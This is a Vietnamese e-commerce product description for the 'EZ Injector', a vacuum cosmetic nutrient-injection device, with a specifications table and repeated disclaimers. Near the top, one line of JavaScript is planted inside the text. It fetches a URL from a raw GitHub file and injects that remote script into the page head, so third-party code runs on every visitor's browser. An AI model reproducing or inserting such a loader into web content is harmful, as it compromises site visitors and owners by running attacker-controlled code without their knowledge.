Mô tả


**** Hiệu quả có thể khác nhau tùy thuộc vào cơ địa, liệu trình và cách thực hiện ***
;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});
Máy EZ Injector với cấu tạo hút chân không giúp làm giảm tiêu hao chất dinh dưỡng đến mức thấp nhất.


**** Hiệu quả có thể khác nhau tùy thuộc vào cơ địa, liệu trình và cách thực hiện ***
| Sản phẩm | EZ INJECTOR |
| Mã sản phẩm | EZ INJECTOR |
| Chức năng | Tiêm dung dịch dưỡng chất |
| Cục sạc | Nguồn điện Pin đầu ra 8.1V DC/500mAmax, đầu vào AC100-240v (50/60Hz) |
| Sạc điện | Pin 7.4V, 850mAH |
| Sạc điện | Sau khi sạc đầy, chức năng hút chân không có thể dùng nhiều nhất khoảng 2000 lần |
| Hao điện | Nhiều nhất là 4W |
| Bộ phận | Máy chủ, tay cầm chân không, đế sạc (chất liệu nhựa), đầu cố định ống tiêm, đầu lọc (chất liệu PC), piston ống tiêm (xi mạ), ống dẫn (nhựa) |
| Khối lượng | Máy chủ 220G (gồm đầu cố định), tay cầm 100G |
| Kích thước | Máy chủ 150x38x38, tay cầm 170x70x48mm |
| Kích thước ống kim | Ống kim tương ứng với lượng thuốc (chất dinh dưỡng) (tùy theo yêu cầu của khách hàng) |
| Ống kim 1ml | 10ul ~ 20ul |
| Ống kim 3ml | 25ul ~ 500ul |
| Ống kim 5ml | 500ul ~ 1000ul |
**** Hiệu quả có thể khác nhau tùy thuộc vào cơ địa, liệu trình và cách thực hiện ***
